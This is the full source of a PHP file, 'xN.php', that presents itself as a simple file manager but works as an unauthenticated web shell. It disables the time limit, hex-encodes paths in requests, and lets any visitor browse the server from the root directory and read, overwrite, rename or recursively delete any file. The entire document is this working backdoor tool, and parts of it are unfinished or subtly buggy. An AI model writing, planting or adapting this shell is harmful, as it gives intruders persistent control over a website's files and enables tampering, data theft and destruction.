xN.php

<?php

set_time_limit(0);
extract(start());
?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style type="text/css">
    @import url('https://fonts.googleapis.com/css2?family=Inconsolata&display=swap');
    body {
    	margin: 0;
        background: #edf2f7;
    }
    * {
        font-family: 'Inconsolata', monospace;
    }
    td.img {
        width:1px;
    }
    td.act {
        width:150px;
    }
    td {
        /*border:1px solid red;*/
        color: #000;
    }
    td.files {
        width:60%;
    }
    .table {

    }
    table {
        width:100%;
        padding:15px;
        background-color: #fff;
        box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1),0 2px 4px -1px rgba(0, 0, 0, 0.06);
    }
    table.header {
        border-spacing:0;
        border-collapse:collapse;
        width:95%;
        padding:0px;
        border-radius:5px;
        background:none;
        float: right;
        position: fixed;
        overflow: hidden;
    }
    span {
        color: #000;
    }
    button {
    	color: #000;
        outline: none;
        background: transparent;
        border-radius:3px;
        border:1px solid #bababa;
        padding:3px 7px;
    }
    button.other {
        border:none;
    }
    input[type=submit] {
    	border:1px solid #bababa;
        border-radius:5px;
        outline: none;
        padding:5px;
    }
    .header-action {
    	padding:20px;
    	font-size:25px;
    	font-weight: bold;
    	text-align: center;
    }
    textarea {
        border:1px solid #bababa;
        border-radius:5px;
        outline: none;
        resize: none;
        padding:15px;
        width:100%;
        height:400px;
    }
    a {
        text-decoration: none;
        color: #000;
    }
    .icon {
        width:25px;
        height:25px;
    }
    div.nav {
    	width: 100%;
    	overflow: hidden;
    	position: fixed;
    }
    div.pwd {
    	margin-top:30px;
    	padding:20px;
    }
    input[type=text] {
    	border:1px solid #bababa;
        border-radius:5px;
        outline: none;
        padding:5px;
        width:39%;
    }
    .navbar-bottom {
    	overflow: hidden;
  		position: fixed;
  		bottom: 0;
  		background: #fff;
    	border-top: 1px solid #ededed;
        bottom: 0;
        width: 100%;
      }
    .navbar {
    	border-bottom: 1px solid #ededed;
    	width: 80%;
        background: #fff;
        position: fixed;
        top: 0;
        width: 100%;
      }
      .navbar a {
      	overflow: hidden;
        float: left;
        display: block;
        color: #000;
        text-align: center;
        padding: 15px 18px;
        text-decoration: none;
        font-size: 18px;
      }
      .container {
        padding: 18px;
        margin-top: 35px;
        height: 2000px;
      }
      .navbar .icon {
        display: none;
      }
      @media screen and (max-width: 600px) {
        .navbar a:not(:first-child) {
            display: none;
        }
        .navbar a.icon {
            float: right;
            display: block;
        }
     }
     @media screen and (max-width: 600px) {
     	table {
     		margin:0;
     		width:100%;
     	}
     	input[type=submit],
     	input[type=text] {
     		width:100%;
     		padding:5px;
     	}
        .navbar.responsive {position: relative;}
        .navbar.responsive .icon {
            position: fixed;
            right: 0;
            top: 0;
        }
        .size, .time, .perms {
        	display: none;
        }
        button.other {
        	border:none;
        }
        div.nav {
        	
        }
        button {
            padding:5px;
            font-size:17px;
            margin:1;
        }
        .navbar.responsive a.cwd {
        	float: none;
        }
        .navbar.responsive a {
            float: none;
            display: block;
            text-align: left;
        }
        .navbar.responsive .dropdown {float: none;}
        .navbar.responsive .dropdown-content {position: relative;}
        .navbar.responsive .dropdown .dropbtn {
            display: block;
            width: 100%;
            text-align: left;
        }
     }
</style>
<body>
<script>
function myFunction() {
  var x = document.getElementById("myTopnav");
  if (x.className === "navbar") {
    x.className += " responsive";
  } else {
    x.className = "navbar";
  }
}
</script>
<div class="nav">
<form method="post">
	<div class="navbar" id="myTopnav">
		<a href="<?= $home ?>" class="home">Home</a>
		<a>
			<button class="other">server info</button>
		</a>
		<a>
			<button class="other">upload</button>
		</a>
		<a>
			<button class="other">config</button>
		</a>
		<a>
			<button class="other">create file</button>
		</a>
		<a>
			<button class="other">replace</button>
		</a>
		<a href="javascript:void(0);" style="font-size:15px;color:#000;" class="icon" onclick="myFunction()">&#9776;</a>
	</div>
</form>
</div>
<?php
$_POST['x'] = isset($_POST['x']) ? encrypt($_POST['x'], 'de') : false;
$_POST['file'] = isset($_POST['file']) ? encrypt($_POST['file'], 'de') : false;
$FILEPATH =
    "http://" .
    $_SERVER['HTTP_HOST'] .
    str_replace($_SERVER['DOCUMENT_ROOT'], ' ', $_POST['file']);
function start()
{
    global $_POST, $_GET;

    $result['cwd'] = isset($_GET['x']) ? encrypt($_GET['x'], 'de') : getcwd();
    $result['currentpathen'] = isset($_GET['x'])
        ? $_GET['x']
        : encrypt(getcwd(), 'en');
    $result['home'] =
        'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];

    return $result;
}
function actionChangename($file, $type)
{
    switch ($type) { case 'dir': ?>
    			<tr>
    				<td colspan="3" class="header-action">
    					CHANGE NAME
    				</td>
    			</tr>
    			<tr>
    				<td>
    					<?= @$alert ?>	
    				</td>
    			</tr>
    			<tr>
    				<td class="act">
    					Filename
    				</td>
    				<td class="img"><center>:</center></td>
    				<td>
    					<?= w__($file, basename($file)) ?>
    				</td>
    			</tr>
    			<tr>
    				<td>
                		Type
            		</td>
            		<td><center>:</center></td>
            		<td>
                		<?= filetype($file) ?>
            		</td>
            	</tr>
            	<tr>
            		<td>
            			Last Modif
            		</td>
            		<td><center>:</center></td>
            		<td>
            			<?= ftime($file) ?>
            		</td>
            	</tr>
            	<form method="post">
            		<td colspan="3">
            			<button onclick="window.location.href='?x=<?= $cwd ?>'">files</button>
                		<button onclick="window.location.href='?x=<?= encrypt(
                      $file,
                      'en'
                  ) ?>'">open</button>
                		<button name="action" value="delete">delete</button>
                		<button name="action" value="rename" disabled>rename</button>
                		<button name="action" value="chmod">chmod</button>
                		<button>donwload</button>
                	</td>
                	<input type="hidden" name="file" value="<?= encrypt(
                     $file,
                     'en'
                 ) ?>">
                </form>
            </tr>
            <form method="post">
            	<tr>
            		<td colspan="3">
            			<input type="text" name="newname" value="<?= basename($file) ?>">
            		</td>
            	</tr>
            	<tr>
            		<td colspan="3">
            			<input type="submit" name="submit">
            			<input type="hidden" name="action" value="changename">
            			<input type="hidden" name="file" value="<?= encrypt(
                   $file,
                   'en'
               ) ?>">
            		</td>
            	</tr>
            </form>
            <?php break;case 'file': ?>
    			<tr>
    				<td colspan="3" class="header-action">
    					CHANGE NAME
    				</td>
    			</tr>
    			<tr>
    				<td>
    					<?= @$alert ?>	
    				</td>
    			</tr>
    			<tr>
    				<td class="act">
    					Filename
    				</td>
    				<td class="img"><center>:</center></td>
    				<td>
    					<?= w__($file, basename($file)) ?>
    				</td>
    			</tr>
    			<tr>
    				<td>
                		Size
            		</td>
            		<td><center>:</center></td>
            		<td>
                		<?= size($file) ?>
            		</td>
            	</tr>
            	<tr>
            		<td>
            			Last Modif
            		</td>
            		<td><center>:</center></td>
            		<td>
            			<?= ftime($file) ?>
            		</td>
            	</tr>
            	<form method="post">
            		<td colspan="3">
            			<button onclick="window.location.href='?x=<?= $cwd ?>'">files</button>
                		<button onclick="window.location.href='<?= $FILEPATH ?>'">view</button>
                		<button name="action" value="edit">edit</button>
                		<button name="action" value="delete">delete</button>
                		<button name="action" value="rename" disabled>rename</button>
                		<button name="action" value="chmod">chmod</button>
                		<button>donwload</button>
                	</td>
                	<input type="hidden" name="file" value="<?= encrypt(
                     $file,
                     'en'
                 ) ?>">
                </form>
            </tr>
            <form method="post">
            	<tr>
            		<td colspan="3">
            			<input type="text" name="newname" value="<?= basename($file) ?>">
            		</td>
            	</tr>
            	<tr>
            		<td colspan="3">
            			<input type="submit" name="submit">
            			<input type="hidden" name="action" value="changename">
            			<input type="hidden" name="file" value="<?= encrypt(
                   $file,
                   'en'
               ) ?>">
            		</td>
            	</tr>
            </form>
            <?php break;}
}
function getfiles($type)
{
    global $cwd;
    $dir = scandir($cwd);
    $result = [];
    foreach ($dir as $key => $value) {
        $current['fullname'] = $cwd . DIRECTORY_SEPARATOR . $value;
        switch ($type) {
            case 'dir':
                if (
                    !is_dir($current['fullname']) ||
                    $value == '.' ||
                    $value == '..'
                ) {
                    continue 2;
                }
                break;
            case 'file':
                if (!is_file($current['fullname'])) {
                    continue 2;
                }
                break;
        }
        $current['name'] = $value;
        $current['link'] = encrypt($current['fullname'], 'en');
        $current['size'] = is_dir($current['fullname'])
            ? @filetype($current['fullname'])
            : size($current['fullname']);
        $current['time'] = ftime($current['fullname']);
        $current['perm'] = w__(
            $current['fullname'],
            perms($current['fullname'])
        );
        $result[] = $current;
    }
    return $result;
}
function pwd()
{
    global $cwd;
    $path = $cwd;
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    $result = '';
    foreach ($paths as $id => $value) {
        if ($value == '' && $id == 0) {
            $result .= '<a href="?x=' . encrypt("/", 'en') . '">/</a>';
            continue;
        }
        if ($value == '') {
            continue;
        }
        $result .= '<a href="?x=';
        $linkpath = '';
        for ($i = 0; $i <= $id; $i++) {
            $linkpath .= $paths[$i];
            if ($i != $id) {
                $linkpath .= "/";
            }
        }
        $result .= encrypt($linkpath, 'en');
        $result .= '">' . $value . '</a>/';
    }
    return $result;
}
function w__($filename, $perms)
{
    if (is_writable($filename)) {
        return "<font color='green'>{$perms}</font>";
    } else {
        return "<font color='red'>{$perms}</font>";
    }
}
function perms($filename)
{
    return substr(sprintf("%o", fileperms($filename)), -4);
}
function ftime($filename)
{
    return date("F d Y g:i:s", filemtime($filename));
}
function changeTime($filename)
{
    if (file_exists($filename)) {
        filemtime($filename);
    }
}
function size($filename)
{
    if (is_file($filename)) {
        $filepath = $filename;
        if (!realpath($filepath)) {
            $filepath = $_SERVER['DOCUMENT_ROOT'] . $filepath;
        }
        $filesize = filesize($filepath);
        $array = ["TB", "GB", "MB", "KB", "B"];
        $total = count($array);
        while ($total-- && $filesize > 1024) {
            $filesize /= 1024;
        }
        return round($filesize, 2) . " " . $array[$total];
    }
    return false;
}
function changename($filename, $newname)
{
    global $cwd;
    return rename(
        $filename,
        $cwd . DIRECTORY_SEPARATOR . htmlspecialchars($newname)
    );
}
function delete($filename)
{
    if (is_dir($filename)) {
        $scdir = scandir($filename);
        foreach ($scdir as $key => $value) {
            if ($value != '.' && $value != '..') {
                if (is_dir($filename . DIRECTORY_SEPARATOR . $value)) {
                    delete($filename . DIRECTORY_SEPARATOR . $value);
                } else {
                    unlink($filename . DIRECTORY_SEPARATOR . $value);
                }
            }
        }
        if (rmdir($filename)) {
            return true;
        } else {
            return false;
        }
    } else {
        if (unlink($filename)) {
            return true;
        } else {
            return false;
        }
    }
}
function save($filename, $text, $mode = 'w')
{
    global $cwd;
    if (substr($cwd, -1) === DIRECTORY_SEPARATOR) {
        $handle = fopen($filename, $mode);
        changeTime($cwd . DIRECTORY_SEPARATOR . $filename);
        fwrite($handle, $text);
        fclose($handle);
    } else {
        $handle = fopen($filename, $mode);
        changeTime($cwd . DIRECTORY_SEPARATOR . $filename);
        fwrite($handle, $text);
        fclose($handle);
    }
}
function getfileimg($file)
{
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    switch ($ext) {
        case 'php':
            print "https://image.flaticon.com/icons/png/128/337/337947.png";
            break;

        default:
            print "https://image.flaticon.com/icons/svg/833/833524.svg";
            break;
    }
}
function encrypt($file, $type)
{
    if (
        function_exists("strlen") &&
        function_exists("dechex") &&
        function_exists("ord") &&
        function_exists("chr") &&
        function_exists("hexdec")
    ) {
        return $type == 'en' ? hex($file) : unhex($file);
    }
}
function hex($string)
{
    $hex = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function unhex($hex)
{
    $string = '';
    for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
    return $string;
}
?>
<table align="center" class="table">
<br><br><br>
<?php switch (@$_POST['action']) {
    case 'delete':
        delete($_POST['file']);
        break;
    case 'changename':
        if (isset($_POST['submit'])) {
            if (changename($_POST['file'], $_POST['newname'])) {
                $alert = 'success';
            } else {
                $alert = 'failed';
            }
        }
        if (is_dir($_POST['file'])) {
            actionChangename($_POST['file'], 'dir');
        } elseif (is_file($_POST['file'])) {
            actionChangename($_POST['file'], 'file');
        }
        exit();
        break;
    case 'edit':
        if (isset($_POST['submit'])) {
            if (save($_POST['file'], $_POST['text'])) {
                $alert = "failed";
            } else {
                $alert = "saved";
            }
        } ?>
        <tr>
            <td colspan="3" class="header-action">
                EDIT
            </td>
        </tr>
        <tr>
            <td>
                <?= @$alert ?>
            </td>
        </tr>
        <tr>
            <td class="act">
                Filename
            </td>
            <td class="img"><center>:</center></td>
            <td>
                <?= w__($_POST['file'], basename($_POST['file'])) ?>
            </td>
        </tr>
        <tr>
            <td>
                Size
            </td>
            <td><center>:</center></td>
            <td>
                <?= size($_POST['file']) ?>
            </td>
        </tr>
        <tr>
            <td>
                Last Modif
            </td>
            <td><center>:</center></td>
            <td>
                <?= ftime($_POST['file']) ?>
            </td>
        </tr>
        <tr>
        <form method="post">
            <td colspan="3">
                <button onclick="window.location.href='?x=<?= $cwd ?>'">files</button>
                <button onclick="window.location.href='<?= $FILEPATH ?>'">view</button>
                <button name="action" value="edit" disabled>edit</button>
                <button name="action" value="delete">delete</button>
                <button name="action" value="changename">rename</button>
                <button name="action" value="chmod">chmod</button>
                <button>donwload</button>
            </td>
            <input type="hidden" name="file" value="<?= encrypt(
                $_POST['file'],
                'en'
            ) ?>">
        </form>
        </tr>
        <form method="post">
            <tr>
                <td colspan="3">
                    <textarea name="text"><?= htmlspecialchars(
                        file_get_contents($_POST['file'])
                    ) ?></textarea>
                </td>
            </tr>
            <tr>
                <td colspan="3">
                    <input type="submit" name="submit">
                    <input type="hidden" name="action" value="edit">
                    <input type="hidden" name="file" value="<?= encrypt(
                        $_POST['file'],
                        'en'
                    ) ?>">
                </td>
            </tr>
        </form>
        <?php
        exit();
        break;

} ?>
<tr>
	<td colspan="6">
		<center>
			<?= pwd() ?> ( <?= w__($cwd, "writable") ?> )
		</center>
	</td>
</tr>
<?php
foreach (getfiles("dir") as $key => $value) { ?>
    <tr>
    	<td class="img">
    		<input type="checkbox" name="data[]" value="<?= $value['fullname'] ?>">
    	</td>
        <td class="img">
            <img class="icon" src="https://image.flaticon.com/icons/svg/716/716784.svg">
        </td>
        <td class="files">
            <a href="?x=<?= $value['link'] ?>"><?= $value['name'] ?></a>
        </td>
        <td class="size">
            <?= $value['size'] ?>
        </td>
        <td class="time">
            <?= $value['time'] ?>
        </td>
        <td class="perms">
            <?= $value['perm'] ?>
        </td>
        <form method="post">
            <td>
                <select name="action" onchange="if(this.value != '0') this.form.submit()">
                    <option selected disabled>action</option>
                    <option value="changename">changename</option>
                    <option value="delete">delete</option>
                </select>
                <input type="hidden" name="file" value="<?= encrypt(
                    $value['fullname'],
                    'en'
                ) ?>">
            </td>
        </form>
    </tr>
    <?php }
foreach (getfiles("file") as $key => $value) { ?>
    <tr>
    	<td class="img">
    		<input type="checkbox" name="data[]" value="<?= $value['fullname'] ?>">
    	</td>
        <td class="img">
            <img class="icon" src="<?= getfileimg($value['name']) ?>">
        </td>
        <td class="files">
            <?= $value['name'] ?>
        </td>
        <td class="size">
            <?= $value['size'] ?>
        </td>
        <td class="time">
            <?= $value['time'] ?>
        </td>
        <td class="perms">
            <?= $value['perm'] ?>
        </td>
        <form method="post" action='?x=<?= $currentpathen ?>'>
            <td>
                <select name="action" onchange="if(this.value != '0') this.form.submit()">
                    <option selected disabled>action</option>
                    <option value="edit">edit</option>
                    <option value="changename">changename</option>
                    <option value="delete">delete</option>
                </select>
                <input type="hidden" name="file" value="<?= encrypt(
                    $value['fullname'],
                    'en'
                ) ?>">
            </td>
        </form>
    </tr>
    <?php }
?>
<div class="navbar-bottom">
	<form method="post">
		<select name="">
			<option selected disabled>option</option>
		</select>
	</form>
</div>
</table>
</div>